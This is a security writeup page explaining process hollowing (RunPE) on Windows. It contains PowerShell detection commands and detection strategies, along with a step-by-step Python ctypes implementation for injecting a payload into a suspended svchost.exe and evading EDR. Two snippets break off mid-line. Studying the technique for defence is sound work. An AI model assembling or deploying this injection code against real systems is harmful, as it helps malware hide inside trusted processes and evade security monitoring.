← Back to writeups Injection

Process Hollowing (RunPE)

Replace a legitimate process's code with your payload

// What is this?
Starting a legitimate program, emptying its memory, and filling it with malware — the process list shows innocence.

Windows shows running processes by their executable name. Process hollowing abuses this: start a legitimate binary (svchost.exe, notepad.exe) in a suspended state, overwrite its code in memory with malicious code, then resume. The process list still shows 'svchost.exe' but it's running attacker code. Network connections and file writes appear to come from the trusted binary.

// Why does this work?
Windows trusts the process name, not what's actually running.

When you open Task Manager, Windows reads the process name from when it was created — not from what code is currently executing. EDR products and firewalls build allowlists based on process names. If "svchost.exe" is allowed to make network connections, then so is your malware wearing svchost's skin. The payload inherits the original process's permissions and appearance.

PowerShell — Process Hollowing Detection
# Processes from user folders (suspicious location)
Get-Process | Where-Object { $_.Path -match "Users\\.*\\AppData|Temp" } |
  Select-Object Name, Id, Path, StartTime

# Mismatched process name vs module (hollowing indicator)
Get-Process | ForEach-Object {
  $proc = $_
  $mainMod = $proc.MainModule.FileName -replace ".*\\"
  if ($proc.Name -ne ($mainMod -replace "\.exe$")) {
    [PSCustomObject]@{Name=$proc.Name; Module=$mainMod; Path=$proc.Path}
  }
} -ErrorAction SilentlyContinue

# Unsigned executables in user paths
Get-ChildItem "$env:APPDATA","$env:LOCALAPPDATA" -Recurse -Include *.exe -Force -ErrorAction SilentlyContinue |
  ForEach-Object { $s=Get-AuthenticodeSignature $_.FullName; if($s.Status -ne "Valid"){$_.FullName} }

# Check for suspicious network connections from svchost
netstat -ano | findstr "ESTABLISHED" | findstr /V "127.0.0.1"

# Get process info by PID (replace 1234 with suspicious PID)
tasklist /FI "PID eq 1234" /V
If this flags: Process name should match its main module. Unsigned EXEs in user folders are malware. Check memory for injected code with Volatility or PE-sieve.

The Technique

Process hollowing creates a legitimate Windows process in suspended state, unmaps its original code from memory, then replaces it with malicious code. The process appears as svchost.exe in Task Manager but runs your payload.

This bypasses process creation monitoring because the malicious code never exists as a file being executed - it's injected into an already-running (suspended) legitimate process.

// Visual Flow

Attacker          Target (svchost)
   |                     |
   |--CreateProcess----->| SUSPENDED
   |<--Handle+Thread-----|
   |                     |[not running yet]
   |                     |
   |--NtUnmapSection---->| [code removed]
   |                     |[process HOLLOW]
   |                     |
   |--VirtualAllocEx---->|
   |--WriteMemory------->|[malware written]
   |                     |
   |--SetThreadContext-->|[entry changed]
   |                     |
   |--ResumeThread------>|
                         |
            [Thread runs MALWARE]
            [TaskMgr: svchost.exe]

Step-by-Step Implementation

1. Parse PE Headers

Before injection, parse the payload to understand its structure:

def parse_pe_headers(pe_data):
    # DOS header check
    if pe_data[:2] != b'MZ':
        raise ValueError("Invalid DOS header")

    e_lfanew = struct.unpack('

2. Create Suspended Process

success = kernel32.CreateProcessW(
    target_exe,      # e.g., "svchost.exe"
    None,
    None,
    None,
    False,
    CREATE_SUSPENDED,  # 0x00000004 - critical flag
    None,
    None,
    ctypes.byref(startup_info),
    ctypes.byref(process_info)
)

The process structures are allocated but no code runs yet.

Why suspended? The CREATE_SUSPENDED flag is the key. Windows creates the process, allocates its memory, and sets up the thread — but never runs it. This gives us a window to modify the process before any code executes. If we started the process normally, the legitimate code would run before we could replace it.

3. Unmap Original Image

# Find target's ImageBase from PEB
peb_addr = get_peb_address(h_process)
buffer = ctypes.create_string_buffer(8)
kernel32.ReadProcessMemory(h_process, peb_addr + 0x10, buffer, 8, None)
target_image_base = struct.unpack('

NtUnmapViewOfSection removes the original executable - the process is now hollow.

Why unmap? The original executable code is sitting at the process's ImageBase. We need that memory space for our payload. NtUnmapViewOfSection removes the entire PE image from memory — not just code, but the headers, sections, imports, everything. The process is now a shell: it has allocated structures (PEB, TEB, stack) but no actual code. This is the "hollowing" — we've gutted the legitimate binary.

4. Write Payload

# Allocate space at target's ImageBase
remote_base = kernel32.VirtualAllocEx(
    h_process,
    target_image_base,
    pe_info['SizeOfImage'],
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
)

# Write headers
kernel32.WriteProcessMemory(h_process, remote_base,
    payload_data[:pe_info['SizeOfHeaders']],
    pe_info['SizeOfHeaders'], None)

# Write each section at its virtual address
for section in pe_info['sections']:
    sec_addr = remote_base + section['VirtualAddress']
    sec_data = payload_data[section['PointerToRawData']:
        section['PointerToRawData'] + section['SizeOfRawData']]
    kernel32.WriteProcessMemory(h_process, sec_addr, sec_data, len(sec_data), None)

Why write section by section? A PE file on disk has a different layout than when loaded in memory. On disk, sections are packed tight. In memory, each section is aligned to a page boundary (usually 4KB). We write the headers first, then map each section to its VirtualAddress — the address Windows would have put it if it loaded the file normally. This ensures imports, relocations, and code all end up where the PE expects them.

5. Redirect Execution

# Get thread context
ctx = CONTEXT64()
ctx.ContextFlags = 0x10001F  # CONTEXT_FULL
kernel32.GetThreadContext(h_thread, ctypes.byref(ctx))

# Point to payload entry point
entry_point = remote_base + pe_info['AddressOfEntryPoint']
ctx.Rcx = entry_point  # x64: entry point in Rcx

kernel32.SetThreadContext(h_thread, ctypes.byref(ctx))
kernel32.ResumeThread(h_thread)

The thread now executes your payload while Task Manager shows a legitimate process name.

Why modify thread context? When Windows creates a suspended process, the main thread's instruction pointer (RCX on x64, EAX on x86) points to the original entry point — the start function of the legitimate executable. That code no longer exists (we unmapped it). We use SetThreadContext to change where the thread will start executing when resumed. Point it to our payload's AddressOfEntryPoint, call ResumeThread, and the thread wakes up running our code instead of the original.

Detection Strategies

NtUnmapViewOfSection monitoring: This API is rarely called legitimately. Any process unmapping another's image section is suspicious.

Memory region analysis: Compare loaded module's memory against the file on disk. Hollowed processes have discrepancies.

Suspended process scrutiny: CREATE_SUSPENDED followed by memory writes to the child process.

PEB integrity checks: ImageBase in PEB should match the loaded PE. Hollowing may leave inconsistencies.

VAD analysis: Virtual Address Descriptors show memory regions. Compare against expected module layout.

Why Hollowing Over CreateRemoteThread

Classic DLL injection via CreateRemoteThread is heavily monitored. Every EDR hooks it. Process hollowing uses different APIs that historically received less attention:

  • NtUnmapViewOfSection - System call, harder to hook cleanly
  • SetThreadContext - Thread context manipulation, legitimate use cases
  • No thread created in remote process - existing thread is hijacked

Limitations

  • Target and payload architecture must match (both x64 or both x86)
  • More complex than simple injection - requires PE parsing
  • Some EDRs now monitor NtUnmapViewOfSection specifically
  • Memory forensics can identify the technique post-mortem

MITRE ATT&CK: T1055.012 (Process Injection: Process Hollowing)